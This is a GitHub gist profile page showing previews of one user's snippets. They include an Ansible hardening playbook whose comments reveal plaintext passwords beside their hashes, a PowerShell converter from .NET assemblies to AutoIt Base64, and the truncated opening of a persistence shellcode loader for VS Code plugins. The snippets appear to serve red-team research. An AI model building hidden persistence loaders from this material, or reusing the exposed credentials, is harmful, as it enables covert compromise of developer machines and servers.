Skip to content

Instantly share code, notes, and snippets.

View V1V1's full-sized avatar
⛓️
Would you kindly...

Gabriel V1V1

⛓️
Would you kindly...
View GitHub Profile
@V1V1
V1V1 / server_basics.yml
Last active February 25, 2020 14:59
New server provisioning and hardening with Ansible
---
- hosts: all
vars:
# To generate a sha512 password (mkpasswd --method=sha-512)
deploy_username: vivi
deploy_user_password: '$6$09OkVQ6vcbd1$k5.V0M4369M77OwjaN8zulWjWQWl6/7V./BOmvEY4XaQXasIobhrHwkdzeOFrpsUunNP.yS.oQZr.ZHvIjXb81' # v1v1
root_user_password: '$6$tpxurhzMuV0drO$gaePtwj1QJc44jncbziUwtWiNDvWDJhR1iPlQq.WIz3rs59LqRSy2bFewG8YZCD7ACm03XpUsFSts0C8CawEE1' # Pass12!!
# SSH key to assign to deploy user - can add multiple key locations
@V1V1
V1V1 / keybase.md
Created July 10, 2021 13:00
Keybase verification

Keybase proof

I hereby claim:

  • I am V1V1 on github.
  • I am thevivi (https://keybase.io/thevivi) on keybase.
  • I have a public key whose fingerprint is 1754 FFBC 4EF9 18F7 332B E372 27BF 69C7 E795 03E0

To claim this, I am signing this object:

@V1V1
V1V1 / CSharpToAutoItBase64.ps1
Created November 1, 2021 23:14
Converts .NET assemblies into AutoIt script Base64 variables
function CSharpToAutoItBase64
{
# This entire script is heavily adapted from - https://s3cur3th1ssh1t.github.io/Playing-with-OffensiveNim/
# Huge shoutout to S3cur3Th1sSh1t (https://twitter.com/ShitSecure) for writing the original script
Param
(
[string]
$inputfile,
@V1V1
V1V1 / vs-code-persistence-plugin.js
Created May 18, 2022 13:49
Persistence shellcode loader for VS Code plugins
// The shellcode loader code can be used in other Node.js or Electron apps
// Requires installation of the electron-edge-js NPM package - https://www.npmjs.com/package/electron-edge-js
// Reference blog post - https://thevivi.net/blog/pentesting/2022-03-05-plugins-for-persistence/
const vscode = require('vscode');
function activate(context) {
var edge = require('electron-edge-js');
var sCode = edge.func(function() {/*